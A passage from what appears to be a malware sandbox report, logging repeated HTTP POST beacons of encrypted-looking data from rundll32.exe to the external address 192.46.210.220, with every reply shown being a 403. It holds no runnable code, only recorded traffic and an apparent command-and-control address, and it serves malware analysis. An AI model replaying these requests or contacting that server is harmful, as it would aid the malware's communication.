2021-10-28 02:45:20 UTC	34	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:21 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:20 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	50079	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:26 UTC	348	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:26 UTC	348	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:27 UTC	352	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:26 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	50085	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:28 UTC	352	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:28 UTC	353	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:28 UTC	357	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:28 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	50090	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:30 UTC	357	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:30 UTC	358	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:30 UTC	362	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	50094	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:31 UTC	362	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:31 UTC	363	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:32 UTC	367	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:32 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	50098	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:34 UTC	367	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:34 UTC	368	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:34 UTC	372	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:34 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	50102	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:35 UTC	372	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:35 UTC	372	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:36 UTC	377	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:36 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	50106	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:38 UTC	377	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:38 UTC	377	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:38 UTC	382	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:38 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	50110	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:39 UTC	382	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:39 UTC	382	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:40 UTC	387	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:40 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	50114	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:41 UTC	387	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:41 UTC	387	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:42 UTC	392	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:42 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	50118	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:43 UTC	392	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:43 UTC	392	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:44 UTC	397	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:44 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49785	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:45:20 UTC	39	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:45:20 UTC	39	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:45:21 UTC	44	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:45:21 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	50122	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:45 UTC	397	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:45 UTC	397	OUT	Data Raw: 13 4a 53 30 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 56 d3 3b ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: JS0#W^Bh%J\H2aJ>J\|Z!FxoCk1kV;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:46 UTC	402	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	50126	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:47 UTC	402	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4844 Connection: Close Cache-Control: no-cache
2021-10-28 02:47:47 UTC	402	OUT	Data Raw: 56 90 ae c0 10 0e 23 ac 57 b0 5e a3 42 68 1d 97 e3 ac 25 fc ae ff f0 4a 07 14 83 c0 8c 5c 90 48 f1 f1 eb 32 61 05 8f e1 96 fa fc bb d6 4a 9a 8d f8 e0 2a 3e 95 0d 1f 4a 0d 7c de 5a 21 46 78 a7 6f fa 93 06 43 f5 6b 92 0b ee 8d 31 6b 05 37 cd 3b 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: V#W^Bh%J\H2aJ>J\|Z!FxoCk1k7;Sg`Ar1]>pL2LeTc]#oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:47:48 UTC	407	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:47:48 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	50130	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:47:50 UTC	407	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4832 Connection: Close Cache-Control: no-cache
